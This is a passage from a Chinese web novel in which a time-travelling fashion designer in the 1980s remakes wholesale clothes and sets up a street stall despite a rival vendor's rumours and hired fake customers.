她嘱咐秦磊带着舟舟在门口等着,自己则悄悄躲到一旁,掏出早就备好的煤灰和火柴梗,三两下给自己捯饬了一番,让自个儿瞧着成熟稳重了不少,这才不紧不慢地迈进店里。 店里的老板是个四十来岁的妇女,身材高高瘦瘦,一看就是个精明能干的主儿。 刚送走一波客人,这会儿正坐在柜台前算账呢,一瞧见周柒柒走进来,眼睛顿时亮了起来。 热情地迎上前去,笑着招呼道:“小姑娘,来拿货呀?” 说着,她上下打量着周柒柒,眼珠子滴溜溜地转个不停。 “嗯,拿货。” 周柒柒没正面回应老板的话,而是学起了沈淮川平日里那副冷峻模样,板着张脸,面无表情,一副生人勿近的架势,随意地扫了扫店里挂着的衣服。 老板娘见状,心里“咯噔”一下,紧接着便问道:“老板在哪里发财啊?” 这话一听就是在打听周柒柒在哪儿开店呢,换做一般人,到这一步没准儿就露馅了。 可周柒柒眼皮都没抬一下,随口就答:“刚换了新地方。” “哟!老板这生意做得可不小啊!这是换大店了?” 老板娘笑着试探。 周柒柒没接茬,自顾自地说道:“我先过一下版。” “行了,您慢慢看,要是有看上的,尽管开口!我肯定给您算最低价!您要是觉得货好,以后可得多照顾照顾咱这生意!” 老板娘满脸堆笑,热情得很。 周柒柒仔细瞧了瞧,挑出一件最基础的蝙蝠衫,问道:“这版怎么拿?” “六块!” 老板娘张口就来。 周柒柒一听,眉头微微皱了起来。 老板娘见势不妙,赶忙说道。 “给你打个折,五块五!” “您这都几水的货了?还这价,我可吃不住,算了,我再去对面看看。” 说完转身就走,老板赶忙挽留道。 “哎,别走啊,老板,我给你个实心价!五块一件,怎么样?” 周柒柒依旧不为所动,脚步坚定的像是要入党,老板叹了口气。 “算了,零头抹了!四块五,最低了,真最低了!再低就赔本了!” 周柒柒这才勉强转过头,讨价还价道,“四块。” 老板娘皱眉有些犹豫,最后还是点了点头。 她又指了指另外一款喇叭裤。 老板一开始报价七块,周柒柒依样画葫芦,又把刚才那套砍价的法子用了一遍。 反正她今儿早上喝了两大杯羊奶,浑身都是使不完的劲儿,既然老板想周旋,她就奉陪到底呗! 折腾了好一会儿,周柒柒最终以四块钱一件的价格拿下了十件蝙蝠衫,五块钱一件的价格拿下了十件喇叭裤,总共花了九十块钱。 一直到最后报件数、给钱的时候,老板才后知后觉,自己好像被这个小姑娘给“套路”了。 周柒柒用帕子擦去脸上刻意涂抹的煤灰,露出光洁明艳的面容,落落大方地笑道。 “实不相瞒,我就是拿去摆地摊的,算不上什么老板。” 老板听了,微微一怔,不过倒也没生气。 毕竟她自己也是街头小贩一路打拼过来的,知道小姑娘挣钱不容易。 然而一旁戴着茶色墨镜、涂着猩红指甲的女人却不乐意了。 她在旁边几乎看了全程,一开始还真以为周柒柒是个懂行的呢,没想到跟她一样,都是个摆地摊的。 拿货的价格比她第一次进货少多了,当下就不乐意了。 抱着双臂,酸溜溜地开口。 “小姑娘真有心眼,这么年轻就会耍手段了,才批这么几件,居然跟我们大量拿货的一个价!” 第25章 生意没做呢,就被人怼了 周柒柒正拿蛇皮袋装衣服呢,懒得和人争论,只跟老板娘甜甜地笑了笑。 “谁说我只拿这么几件呀,我不过是先少进些试试水罢了。等这批卖完了,我还得来老板娘您这儿进货呢!” 这小姑娘生得眉清目秀,水灵灵的,嘴还跟抹了蜜似的甜,老板娘瞧着心里欢喜,点了点头道。 “行嘞!下次也给你老顾客价!” 却没想到,那女人却有些不依不饶,趾高气扬地站在一旁,眼神里满是轻蔑与不屑。 “试试水?” “就你选的这款式,土里土气的,还想着卖完呢?我看啊,你全都得砸手里去咯!到时候你哭都找不着调!” 这会儿店里进来好几个客人,她声音尖厉,引得众人纷纷侧目。 “这就不用您操心了。” 周柒柒慢条斯理的抚平蛇皮袋,忽然抬眸,眸光清亮如利刃,剐过女人那张扭曲的脸。 “我哭找不着调,总比有些人长得不着调要强!” 这话一出,几个围观的顾客没忍住,“噗嗤”笑出声来。 “你个没教养的小蹄子!你说谁丑呢你!” 女人涨红了脸,气得直跺脚,踩着高跟鞋就要朝周柒柒扑过来。 老板娘慌忙挡在中间,连拉带劝。 好说歹说,才把那女人拉开,临走之前,那女人还在骂骂咧咧。 “乡下来的土包子,还想学人卖衣服,光长得好看有什么用,也不瞅瞅自己什么眼光...” 老板娘抹了把额头上的汗,有些无奈地摇了摇头,拉过周柒柒的手,小声说道。 “她就那样儿!咱们市里第一批摆摊的,挣着钱了,把自己当个人物,看谁都不顺眼,总觉得别人都是挡她道儿的!” “小姑娘别往心里去,你看着就机灵,保准能成事儿!” 没办法,都是顾客,她哪边都不能得罪。 周柒柒也不为难老板娘,摩挲着蛇皮袋的手指微微收紧,眼尾微扬,唇角勾起意味深长的弧度,开口道。 “老板娘,你跟她好像很熟,知不知道,她平常在哪里摆摊啊?” —— 刚走出档口,石头就风风火火地冲过来。 “嫂子?你是不是被那个女人给欺负了?我去替你教训教训她!” 他刚才在外面,虽然听不清楚,但大致也看出来发生了什么。 看到那个女人张牙舞爪的扑向嫂子,立马就想冲进去。 但嫂子让他看着舟舟,他也不能擅离职守,只能硬生生忍住了。 周柒柒赶忙将他拦住。 “别别别,你是军人,就算在外面,代表的也是部队,哪儿能随便跟人动手,嫂子有仇自己会报的!” “可是...” 石头还不服气呢,周柒柒扬了扬肩膀上的蛇皮袋。 “可是什么,不会是偷懒,不想拎包吧?” 这玩意儿重的很,她是一秒都不想背了,赶忙就甩给了石头。 石头知道嫂子是个有主意的,也没再说什么,挠了挠头,一手牵着舟舟,一手乖乖拎包。 周柒柒带着两人,又去了附近的布料店,买了点布,顺道买了点做衣服的辅料,还给自己买了两双新鞋。 路过供销社的时候,买了点新鲜的肉和菜,随后便朝着百货大楼走去。 这里她之前被朱莹莹带着来过一次,不过上次为了给家里买锅碗瓢盆什么的,时间紧张。 这次终于有时间好好逛逛了。 刚踏进去,就听见售货员扯着嗓子喊。 “最后一台!别挤了!” 人群像潮水般涌过去,周柒柒踮脚望去,只见一台巴掌大的黑白电视机摆在柜台中央。 屏幕里正播放着女排姑娘们出征世锦赛的画面。 “四百块?还要工业票?” 听着人群中的议论声,周柒柒倒吸一口冷气。 这抵得上普通人小半年的工资了! 她的目光扫过旁边标价八百块的冰箱模型,更是瞪大了眼睛。 她本来还想着,盖厕所和洗澡间没花多少钱,省下来的钱可以给家里添几个大件呢。 想了想还是算了,等多赚点钱再说吧。 闲逛了一会儿,三人就来到了目的地——文具用品区。 她拍了拍舟舟的肩膀,清了清嗓子,一脸无所谓的说道。 “咳咳,你看看,喜欢什么自己拿。” “带你出来了,总不能什么都不给你买吧?显得我好像很刻薄一样。” 舟舟懵懵懂懂地眨了眨眼,慢悠悠地转了一圈,视线一直在美术用品那块转。 最终,她小心翼翼地指了指柜台里的一小盒蜡笔。 周柒柒说得这么大义凛然的,结果孩子就挑了这么一个最便宜的,售货员撇了撇嘴,对她有些不满,不耐烦道。 “就要这个啊?四毛二!” “谁说就要这个的?把这个,这个,还有这个,统统都打包了!” 周柒柒甩了张大团结出来,把舟舟刚才看过的水彩颜料、油画笔什么的,全都挑了出来。 舟舟仰着小脸,眼眶泛红得像只小兔子。 周柒柒赶忙摆了摆手。 “别别别,是你叔叔让我买给你的!花的他的钱!要哭找你叔叔哭去!” 她最怕小孩子哭了,怪麻烦的。 售货员见她给孩子挑的都是好东西,态度也好了许多,另外推荐了一些配套的素描纸、油画布什么的。 走出柜台的时候,舟舟自己抱着一大堆的美术用品,小脸蛋红扑扑的,紧紧跟在周柒柒身边,脚步异常地轻快。 买完东西,也到了中午吃饭的时间了。 虽说步入九月了,可这正午的太阳依旧晒得人脑袋发晕。 周柒柒可不亏待自己,直接拎着一大一小两人去了国营饭店。 先点了三瓶冰冰凉凉的北冰洋汽水,然后大手一挥,点了两荤两素四个菜,总共花了四块五毛钱。 其中一道时令的清蒸鲢鱼最贵,要一块五一条。 一般人都舍不得点。 周柒柒就不一样了,见舟舟也吃得挺多,直接又多要了一条。 反正有秦磊这个兵哥哥兜底,五个菜一个没剩,也不算浪费粮食。 吃完饭,秦磊就开车送两人回家了。 到了家门口,莹莹两口子正好也回来了。 秦磊又当了回苦力工,帮着把莹莹家的缝纫机给搬过来了。 这两口子结婚的时候,王团长三转一响都给安排上了,一样都没少。 不过莹莹不会用缝纫机,从来没用过。 摸着面前崭新的缝纫机,周柒柒说不出的感慨。 第26章 她周柒柒也不是好惹的 上辈子,她学的是服装设计,就是靠着缝纫机养活自己的。 这不仅是谋生的工具,更是她灵魂的寄托。 没想到,穿越回八十年代,还有机会干回自己的老本行,指尖轻抚机身,心底涌起一股别样的热流。 她正感慨着呢,莹莹过来了。 捏起她搁在一旁的蝙蝠衫和牛仔喇叭裤,眉头紧皱。 “柒柒,这就是你批发回来的衣服?怎么看起来那么...” 她想说老土,话到嘴边又被她生生咽了回去,憋得脸颊通红,最后只能支支吾吾道。 “我感觉,可能不太好卖,你这个决定,是不是有点草率了?” 莹莹虽然性格腼腆,平日里不爱与人打交道,可骨子里到底是个爱美的姑娘。 连她都知道,这种基础款式的蝙蝠衫,是去年流行的样式,今年已经过时了。 她不由得有些为周柒柒担忧。 周柒柒却气定神闲,唇角勾起一抹神秘的笑。 “急什么?待会儿你就知道了。” 说着她利落地扯出一轱辘棉线,熟练地将线轴放到线轴架上,线头顺着过线孔、导线器一路穿梭,最后精准地穿过机针。 紧接着,她随手拿起一块素净的棉布,用压脚稳稳压住,调试好针距,缓缓地踩动了踏板。 这台老式缝纫机与她记忆中的现代化设备大不相同,但她很快就掌握了窍门。 踏板踩动的瞬间,仿佛唤醒了身体里沉睡的记忆,每一下起落都带着韵律。 朱莹莹敏锐地感觉到,周柒柒整个人都不一样了,十分认真,专注。 她手持拆线器,对着黑色蝙蝠袖衫果断下手,接缝处“嗤啦”一声被拆开。 布料在缝纫机下翻飞,雪白的线迹笔直延伸,她手指灵活地拉扯布料,细腻的褶皱如同春日绽放的花瓣般层层舒展。 脚下的踏板从未停歇,双手上下翻飞,整个人就像在缝纫机上翩翩起舞。 很快,一件改良过的黑色蝙蝠衫就新鲜出炉了。 周柒柒眉眼含笑,将衣服递给朱莹莹,自信满满道,“试试?” 朱莹莹半信半疑地接过,转身进了屋子。 不到一分钟,她就开开心心地冲了出来,指尖不住地抚摸着袖口。 “这袖子,怎么做到的?明明还是蝙蝠袖,但是一点也不显臃肿,而且,行动方便多了!” “要的就是这种效果!” 周柒柒叉着腰,眼底闪烁着自信的光芒。 她轻轻抚过衣服的收束口,解释道。 “老式蝙蝠衫好看是好看,可问题也不少。袖根太宽,穿上像裹了个麻袋,袖管敞着还不保暖。我在肘部加了收束口,再拼上小灯笼袖,既保留了飘逸感,又解决了实用性的问题,还多了几分优雅和女人味。” 朱莹莹越看越喜欢,都不想脱下来了,直接从口袋里掏出一张大团结来。 “这件我买了!多少钱?” 周柒柒眼疾手快按住她的手,把衣服硬塞进她怀里。 “说什么呢!缝纫机都是借你的,送你还来不及,哪能收钱?你要是坚持给钱,可就把我当外人了!” 朱莹莹只好收回钞票,目光却早已黏在一旁的浅色牛仔喇叭裤上,好奇心被勾得痒痒。 “这喇叭裤打算怎么改?我都等不及想看了!” “别急,你先看看,这些辅料,你喜欢哪个?” 周柒柒狡黠一笑,变魔术似的捧出各种辅料,有蕾丝,铆钉,还有各色碎花布。 朱莹莹纠结了半天,最后选了一块米色的蕾丝布。 周柒柒火速开工。 先是剪刀在裤边划出流畅的倒V弧线,拼接上了蕾丝布料。 然后指尖翻飞,将接缝处娴熟地打磨成流苏状,自然过渡。 瞥见剩余的蕾丝边角料,她灵机一动,在后袋绣上一条蕾丝边,然后缝了个立体蝴蝶结上去。 银线穿梭间,原本普通的喇叭裤,瞬间焕发出俏皮的生命力。 蝴蝶结还没缝牢固上去呢,朱莹莹就凑到周柒柒跟前,一脸的崇拜。 “柒柒,我刚才说话太草率了,这样的喇叭裤,怎么可能卖不出去?绝对大卖特卖!” 周柒柒耸了耸肩,手里一边收尾,一边开口。 “那可不一定,我这还没开始做生意呢,就已经得罪人了,明天还不知道什么情况呢!” 说着她便把早上在档口的遭遇告诉了朱莹莹。 说到女人尖酸刻薄的嘲讽时,朱莹莹气得眼睛都红了。 “这也太欺负人了!要不咱们打听下她的摊位...” “咱俩想到一块去了,我确实跟老板娘打听了,她平时就在市电影院附近摆摊。” 莹莹赶忙提议道,“那咱们避开点...” “那么好的地方,避开干嘛?” 柒柒挑了挑眉,眼尾扬起自信的弧度。 “她瞧不上我,我还骗要在她眼皮子底下把摊支起来!” 那女人不是善茬,可她周柒柒也不是好惹的! 别人都骂到她脑门上了,她没有不回击的道理! 看周柒柒态度坚决,朱莹莹也不劝了,深吸一口气,说道。 “那我明天陪你一起去!” 时间有限,还有十八件衣服要改造呢,两人也就不闲聊了。 周柒柒专心投入工作,等反应过来的时候,天已经擦黑了。 再一看表,居然已经快六点了! 这个点,沈淮川该回家吃饭了,但她可还没做饭呢! 没想到刚一出房门,就看到沈淮川拎着几个饭盒回来了。 “听石头说你有正事要忙,我就提前把事情做完,把饭打回来了。” 周柒柒松了一口气,脱口而出一句,“谢谢老公!” 沈淮川正上台阶呢,小小踉跄了一下,耳朵立马红了起来,连忙用咳嗽来掩饰。 “咳咳咳...” 柒柒收拾饭桌,沈淮川去喊舟舟吃饭。 走到门口,却发现她正专心致志趴在书桌上画画,神情专注,眼神里散发着从来没有过的光彩。 不用说就知道,这肯定是周柒柒给买的。 他不由看向柒柒,说了句:“谢谢。” “没头没尾的,你谢谢谁,总得说一下吧?” 柒柒没来由的就想逗他一下。 不出意外,沈淮川耳尖还没消退的红迅速又升了上来,一路漫到了脖颈。 这时,舟舟懵懵懂懂地走了出来,柒柒也不为难沈淮川了,赶忙招呼道。 “好了好了,都洗手吃饭了。” 柒柒中午吃得饱饱的,下午本来还不饿,想着凑合一口的了。 但是没想到,沈淮川带回来的菜里,居然有一道炖鱼,顿时胃口大开。 饱餐一顿后,沈淮川洗碗,她又去忙活了一阵,终于把所有衣服都改造完了。 趁着吹熄灯号前,简单洗了个澡。 沈淮川回来的时候,她已经睡着了,沈淮川轻手轻脚地躺在边上。 就着月光,看着她那张恬静娇俏的睡颜,忍不住凑近了些,低声说了一句,“谢谢媳妇。” 一夜好眠。 第二天一早,周柒柒六点多就起来了。 简单包了点鲜肉小馄饨。 一家人吃完饭,舟舟去上学,沈淮川去上班,她也喊着朱莹莹一起出门了。 第27章 柒柒时装摊 路口等车的间隙,一阵爽朗豪迈的笑声突然从身后传来。 周柒柒下意识地转过身只见邓翠香挎着碎花布包,踩着高跟鞋,风风火火地朝着她们奔来,目光直直地落在两人身旁那个鼓鼓囊囊的蛇皮袋上。 “哟,柒柒,莹莹,你们俩这是要进城啊?咋拿这么大一个包?” 周柒柒也不藏着掖着,伸手拍了拍鼓囊囊的蛇皮袋,笑道。 “我批了些衣服,准备去城里摆摊卖呢。” “啥衣服?快让我瞅瞅!” 邓翠香顿时来了兴致,双手麻利地解开蛇皮袋的扎口。 待看到里面的衣服,听到周柒柒的解说,她眼睛瞬间就亮了,忍不住啧啧称赞。 “这两款我也有,嫌太土都不穿了,没想到经你这么一改造,一下子就变得洋气又高级了!你可真厉害!” 她盯着衣服两眼放光,手指轻轻摩挲着流苏蕾丝,恨不得立马买两件。 可惜家里刚盖完厕所,手头实在不宽裕,只能强压下心头的喜欢。 周柒柒敏锐地看出她的犹豫,当即热情地提议道。 “翠香姐,你要是不嫌弃的话,可以把你的旧款拿过来,我帮你改!” “真的?那太好了!你指定能赚大钱!” 邓翠香瞬间两眼放光,但随即却是马上想到了什么,拉着两人小声说道。 “不过姐姐可得提醒你,你做生意归做生意,可别太高调了。咱们家属院这么多户人家,大多是家庭妇女,没个正经工作,整天在家带孩子。之前看你花钱大手大脚的,好些人都眼红着呢!要是知道你还能赚钱,指不定得多记恨你!” 周柒柒闻言,神色变得严肃起来,认真地点了点头。 还没等她回话,远处三个军嫂有说有笑地朝这边走来。 眼疾手快的邓翠香一个闪身,挡在了蛇皮袋前。 为首的李红娟晃着手里的布包,拉长语调,语气带着几分打探。 “哟,翠香,这么大的袋子,装的啥宝贝呀?” 邓翠香脚尖随意踢了踢蛇皮袋。 “嗨,哪里是什么宝贝,家里弟妹生孩子了,收拾点旧衣服、小被子啥的送过去。” 她娘家就在城里,经常来往送东西的,这番解释合情合理,李红娟随意扫了一眼蛇皮袋,便不再追问。 转而将目光投向周柒柒和朱莹莹,皮笑肉不笑地打招呼。 “柒柒,莹莹,你们也进城啊?” “嗯,买点菜。” 周柒柒不卑不亢地回应。 正巧这时,采购车“突突突”地开了过来。 邓翠香拎起蛇皮袋往车厢走去,周柒柒拉着莹莹紧随其后。 李红娟三人则扭着腰肢,快步朝前排走去——毕竟前排的座位可比后面的车厢舒服多了。 采购车颠簸着驶向城里,后座的三人一路聊个不停。 不知怎的,话题就转到了吃饭上。 周柒柒想起昨天的美味,忍不住赞叹。 “食堂师傅的手艺真不错,昨天下午那条炖鱼,味道绝了!” 说到这儿,她还下意识地舔了舔嘴唇,满脸回味。 莹莹蒙了,“什么炖鱼?食堂还有炖鱼?” 这方面她可是权威,她们家天天都吃食堂,鱼这种食材,基本上从来没出现过。 而且,食堂的饭味道嘛,只能说是还行,算不上美味。 “啊?” 周柒柒也愣住了,一脸疑惑。 这下周柒柒也懵了,邓翠香一拍脑门! “我想起来了,下午我家男人和沈团长一起去市里开会,说是回来前,沈团长去了趟楼下的军区饭店,耽误了一会儿,害得他差点回来晚了,合着...人家是专门给柒柒买炖鱼去了!” “军区饭店里招待的可都是首长级别的人物,那味道能不好嘛!” 听到这话,周柒柒的心“扑通扑通”狂跳,脸颊瞬间染上一抹红晕。 她咬着嘴唇,心里像是炸开了无数朵甜蜜的烟花,甜丝丝的感觉从心底漫开。 这种感觉太陌生,她忍不住捂住胸口,在心里默默吐槽。 一顿饭而已,他干嘛...这么用心啊? “这小年轻谈恋爱就是不一样啊!一个赛一个贴心!” 邓翠香眼神在柒柒和莹莹两人身上打转,笑眯眯地调侃。 “不像我家男人,都跟着一起到饭店门口了,连只肉包子都不知道带回来,跟大禹似的!” 一路说说笑笑,很快就到了市里。 邓翠香帮忙把东西搬下车后,就回娘家去了。 周柒柒带着朱莹莹转乘公交车,直奔市电影院。 不得不说,虽然那个女人尖酸刻薄,但挑地方的眼光着实不错。 街道两旁,一边是G市师范大学,另一边是G市最大的食品加工厂。 女学生和女工人,都是手里有闲钱的主儿。 再加上街道中央的市电影院前有一大片空地,又吸引了不少约会的小情侣。 这儿简直就是摆摊的黄金地段! 可这么好的地方,自然人人都惦记着。 等她们赶到时,已经九点多了,空地上的摊位几乎都被占满了。 最显眼的中央位置,一个穿着大红色连衣裙、戴着茶色墨镜、涂着鲜艳红指甲的女人正站在那儿。 她的摊位最大,上面堆满了各式各样的衣服,正是周柒柒昨天在档口见过的那个女人。 那女人眼尖,一眼就瞧见了周柒柒。 她先是露出惊讶的神色,紧接着便夸张地做出一副哭哭啼啼的表情,分明是在阴阳怪气的嘲讽。 周柒柒懒得理会,带着朱莹莹在空地上转悠起来。 好位置都被挑光了,两人转了好久,终于在远离电影院的十字路口边上,寻得一小块空地。 这儿虽说离电影院远点,但胜在靠近路口,来来往往的行人都能看到,而且还有两棵大树可以遮阳,周柒柒还算满意。 她和莹莹一起,麻利地在地上铺上布,将衣服一件件摊开,又拿出昨晚制作的布招牌。 上好的米色棉麻布,借用了舟舟的水彩颜料,上面“柒柒时装摊”五个大字写得龙飞凤舞,周边还画着可爱的小花和爱心作为装饰。 这么挂上去,还挺像那么回事的。 挂好招牌后,周柒柒拿出马扎让莹莹坐下,自己则双手叉腰,亮开嗓子大声吆喝起来。 “蝙蝠衫,喇叭裤,设计师独家款式~!走过路过,千万不要错过!” 她一点儿也不觉得难为情,赚钱嘛,不磕碜。 本以为今天是周一,大家都上班、上学去了,人流量少,加上摊上的衣服款式颜色都比较朴素,一开始不会有顾客。 没想到刚吆喝几声,一个二十来岁的小姑娘就凑了过来,指着地上的黑色蝙蝠衫问道。 “老板,你这蝙蝠衫怎么卖啊?” 第28章 歹毒的商战 这可是她的首位顾客呢。 周柒柒顿时来了精神,嘴角扬起一抹热情的笑意,清脆地应道:“十块。” 这价格,可是她深思熟虑后定下的。 先前在档口,她特意向老板娘打听过,这种基础款式的衣服,售价最低六块,最高也不过八块。 这年头,个体经济才刚兴起,人们质朴得很,卖东西顶多就是翻个倍。 哪像后来的那些店铺,二十块进的货,换个标签,喷点香水,就敢卖你二百。 毕竟,大家的工资普遍才四五十块,衣服定价太高可不好卖。 周柒柒卖的这些衣服,每一件都经过她的精心改良加工,从设计构思到细节调整,都倾注了无数心血,多收两块钱,她觉得并不为过。 话刚说完,周柒柒又笑意盈盈地补了一句。 “你是今天的第一个顾客,可以给你打个八八折!” 她满心期待着能迎来开张的好兆头,眼神中满是真诚与热情。 谁料,那个小姑娘却翻了个白眼,满脸嫌弃道。 “打完折也是八块多,你这款式都过时了,还敢这么卖?你怎么不去抢呢?” 这种情况,周柒柒早有预料,她不慌不忙地拿起蝙蝠衫,耐心解释道。 “我这款可不一样,是改良过的,你看...” 然而,那个小姑娘却得摆了摆手,打断道。 “别介绍了,你就说,最低多少吧?” 语气十分不耐烦。 周柒柒指了指招牌角落的小字,黑笔写得方方正正: 【一口价】【每日首客八八折】。 别看周柒柒能言善辩、讲价厉害,但实际上,她最讨厌的就是讨价还价了。 讲价的时候,双方你来我往,一通弯弯绕绕,既费脑子又磨嘴皮子; 可要是不讲价,又很容易当冤大头。 别人十块买,你花十二,一天吃饭都不香。 归根到底,讲价这件事,只有商家有好处,碰到不擅长讲价的顾客,商家就能赚得更多。 周柒柒懒得费这个口舌,也不想赚这种嘴炮钱。 她坚信自己衣服的价值,就是要卖十块钱,对谁都一样。 “还不讲价?卖得出去才怪!” 小姑娘撇了撇嘴,又翻了个白眼,满脸不屑。 可奇怪的是,她却并没有离开,反而又指了指一旁的喇叭裤问价。 “十二块五。” 一样的定价策略,多的五毛,是辅料的钱。 这一次周柒柒语气就敷衍多了,她看出来了,这小姑娘根本就不是真心想买东西的。 果然,问完价格,小姑娘就头也不回地就走了。 “这...” 朱莹莹看着小姑娘离去的背影,想挽留又不知道说什么,看着比周柒柒这个摊主还难受。 “别往心里去,卖衣服就是这样,看的总比买的多。” 周柒柒拍了拍莹莹发僵的肩膀,鼻尖忽然钻进一股焦香。 抬头望去,只见不远处的铁桶旁,一个裹着蓝布头巾的大婶正用铁钳着翻动红薯,金黄的糖汁顺着烤裂的表皮往下淌。 “我请你吃烤红薯!” 白白胖胖的烤红薯,才两毛钱一斤,周柒柒挑了两个大小适中的,称舀得高高的,才要了三毛钱。 看着大婶粗糙的手掌,柒柒又顺手把她摊位上摆着的黄豆和板栗都买了一些,一共花了一块钱。 掏钱的时候,她忍不住吐槽自己,好家伙,这摆个摊,还没赚钱呢,先吃上了。 真是屋漏偏逢连夜雨,命运戏弄大馋猪啊。 可这馋虫也没白当。 不过馋也不是没有好处,大婶看她买得多,脸上露出些不忍心,多给她抓了一把栗子,压低了声音说道。 “妮儿,刚才那个去你摊位的小姑娘,是个托儿!你可得小心点!” 大婶的女儿之前就在这儿摆了一阵摊,对这儿的情况最了解不过了。 “中间那个女人,冉红霞!她经常都会花钱一个学生,装顾客问价格,等摸清了大家的底子厚,就开始降价,总比别人低上两毛钱。” 这样,她就永远是这一片地摊里,卖得最便宜的一家。 人都是贪便宜的,能买便宜当然不会卖贵的了。 所以每一天,冉红霞的摊位都是这一片销量最好的,没人卖得过她。 附近摆摊的都知道,可就是拿她没办法。 “还能这么干?” 周柒柒惊得瞪大了眼睛,想起小姑娘刚才的种种表现,后背一阵发凉。 她刚才就觉得那个小姑娘不对劲,没想到居然是歹毒的商战! 这纯纯的恶意竞争啊。 大婶把东西递给她,语重心长道。 “你听婶子的,你也降一毛钱,这样你就能卖得好了!” 周柒柒笑着摇了摇头。 她卖的是设计和手艺,才不跟人打价格战呢。 只要顾客过来看过,自然一眼就能看出来,她卖的是好东西,不愁卖不好。 不过,她没想到,自己有点过度自信了。 也没想到,对方居然会这么不要脸。 接下来的一个小时,一个来到她摊位面前的顾客都没有。 有几个顾客,明明都要逛到她这里了,却硬生生地拐了个弯,又回头了。 眼看着都快十一点了,还没开张呢! 周柒柒心里打了鼓,但她没有沮丧,而是继续叫卖着,吸引人过来。 看着又有两个小姑娘扭头走了,赶忙追了上去,态度温和有礼地问道。 “你们好,我是那边柒柒时装摊的老板,请问一下,你们为什么都不来我的摊位啊?是有什么问题吗?” 说着,还塞过去两个用碎花布做的大肠发圈。 “送给你们!有什么话你们尽管说!” 这两个一看就是大学生,眼神还挺清澈。 一看到这么漂亮的发圈,眼睛就亮了,有点不好意思,扭扭捏捏地开了口。 “那边那个老板娘说,你摊位上的都是瑕疵品,而且还卖得老贵了!人也凶得很,会骂脏话,所以我们都不敢去看...” 怪不得没人来她这小摊儿呢! 好家伙,还造上谣了,可真是无所不用其极啊! 她之前总听别人说,没良心的人能赚大钱,这一回可是开了眼了。 看着那女人红红火火的摊位,周柒柒眼睛一转,看向两位大学生,来了主意。 “你们的宿舍离得近吗?我想借用一下,换身衣服,可以吗?” 第29章 开张咯~~~ “老板娘,你这喇叭裤真是最新款?” 最当中的摊位上,一个二十岁左右,穿着时髦小姑娘手拿一件喇叭裤,问着老板。 戴着茶色墨镜的卓红霞连连点头。 “那还能有假?我上个月刚从广州坐了三天火车带回来的!” 她猩红的指甲重重戳在裤管上,“瞧瞧这裤口,别家都是窄巴巴的,哪有我这版型大气?” 说着又往前探身,几乎贴上姑娘的肩,“你这大长腿,穿上保准能把整条街的目光都勾过来!” 姑娘把裤子翻来覆去看了几遍,眉头微蹙。 “颜色是挺新潮的,但感觉款式和我那条黑色的差不多,算了,我再去后面那家转转。” 她这个月生活费就剩二十了,这条裤子可买可不买。 “哎!” 卓红霞伸手拽住姑娘袖口,墨镜滑到鼻尖,眼神有意无意瞟向后面摊位,一脸的鬼祟。 “你还不知道吧,她那边都是档口处理的瑕疵品,穿不了多久就会开线,和我的货比不了!” 说着又压低声音。 “这样,你要实心要的话,我给你个最低价!八块八!绝对比她那边便宜,不信你去问问去!” “不用问了,我刚从那边过来的,都问过了,最低九块。” 姑娘看向那家摊位的眼神明显有些不悦,也实在懒得逛了,又低头打量起裤子,最终撇嘴道。 “算了算了,我就从你这儿买吧!” 卓红霞嘴角立刻咧到耳根,哗啦一声抖开塑料袋。 “好嘞~!我这就给你装上!” “放心!这一片我绝对是卖得最便宜的!省下两毛钱,够买根冰棍儿吃了!” 小姑娘拿出钱包,正准备掏钱,肩头突然被人轻拍了一下。 扭头一看,是一个高挑纤瘦的女人,对方红着脸指了指地上:“你的手绢掉了。” “谢谢。” 姑娘赶忙转身去捡,这一转身,正好看到女人裤脚的流苏,眼睛瞬间就被勾住了。 同样的喇叭裤版型,却缀着层层叠叠的米色丝线,走动时还露出一截若隐若现的蕾丝花边。 精致又好看。 她逛百货大楼都没见过这种样式的! 她瞬间就走不动道了,热情地拉住女人问道。 “漂亮姐姐,你这个喇叭裤真好看,是在哪里买的啊?” 女人被她的热情吓了一跳,下意识地就想往后缩,但还是强装镇定地指了指不远处的一个挂着招牌的小摊。 “姑娘!你的裤子!八块八!” “不好意思,我不要了!” 卓红霞举着袋子的手僵在半空,眼睁睁看着姑娘头也不回地跑远。 “老板,这种带蕾丝的喇叭裤还有吗?” 姑娘站在周柒柒摊位前,手指紧张地绞着衣角。 “有!” 周柒柒指了指摊位上摆得整整齐齐的喇叭裤,“随便挑。” 小姑娘没有丝毫犹豫,挑了一款拼接蓝色蕾丝的,立马就问起多少钱。 周柒柒指了指招牌上的小字,干脆利落地回答道,“十块!不讲价!” 小姑娘毫不犹豫就掏出一张大团结。 虽然这个月生活费就剩二十了,但遇到喜欢的衣服,还是得买。 大不了剩下的半个月馒头就咸菜好了。 周柒柒见她这么爽快,立马笑道。 “你是今天的第一个客人,给你打八八折!再送你一个发圈!” 说着,还又单独拿出一个大肠发圈,也是蓝色蕾丝的,和这条阔腿裤配成一套。 这可给小姑娘乐坏了,感觉自己捡了个大便宜。 这边刚掏了钱,那边又来了两个三十几岁的妇女,她们是来买蝙蝠衫的。 也是刚在卓红霞那边转悠,一眼就看上了朱莹莹身上穿的那件。 “这袖子收这么一小节,干活的时候就方便多了,而且还显胳膊细!” 其中一个略微胖一点的拿在手上,喜欢的不得了。 她身边的同伴赶忙推了她一下,拧着眉头,一脸嫌弃地说道。 “也就一般吧,老气横秋的,都是纯色,你看别人摊上,都那么鲜艳,花花绿绿的多好看...” 她嘴上这么说,但手里却一直攥着衣服不撒手,生怕被别人看上了。 周柒柒有些哭笑不得。 “姐姐,你不用说这些的,我这里不讲价,所有人来都是一口价,买的话我可以给你们一人送一个我自己做的发圈,这里剩的不多了。” “一点儿都不能便宜?” 女人显然不信,眉头皱得更紧了。 见周柒柒不松口,放下衣服,毫不犹豫拉着身边的同伴就走。 周柒柒也不挽留,低头整理起摊子。 没等她们走远,三个扎马尾的女学生叽叽喳喳围了过来。 她们也都是从卓红霞的摊子过来的。 “这蝙蝠衫上课记笔记方便!” “还送发圈?太划算了!” 三人二话不说掏出零钱,抱着衣服叽叽喳喳地跑了。 蝙蝠衫一下子少了三件,放发圈的袋子眼瞅着也见底,就剩两个了。 周柒柒正跟新来的客人介绍呢,先前离开的两个妇人突然又回来了,着急慌忙地丢出两张大团结。 “那两件蝙蝠衫我们要了!我们先来的!发圈给我们留着!” 周柒柒强忍着笑意,从蛇皮袋里又掏出个鼓鼓囊囊的布袋。 “管够,随便挑。”。 袋子里满满当当的,还有十几个发圈呢,各种花色都有。 “你这小妮子...” 两个大姐哭笑不得,感觉自己好像被耍了。 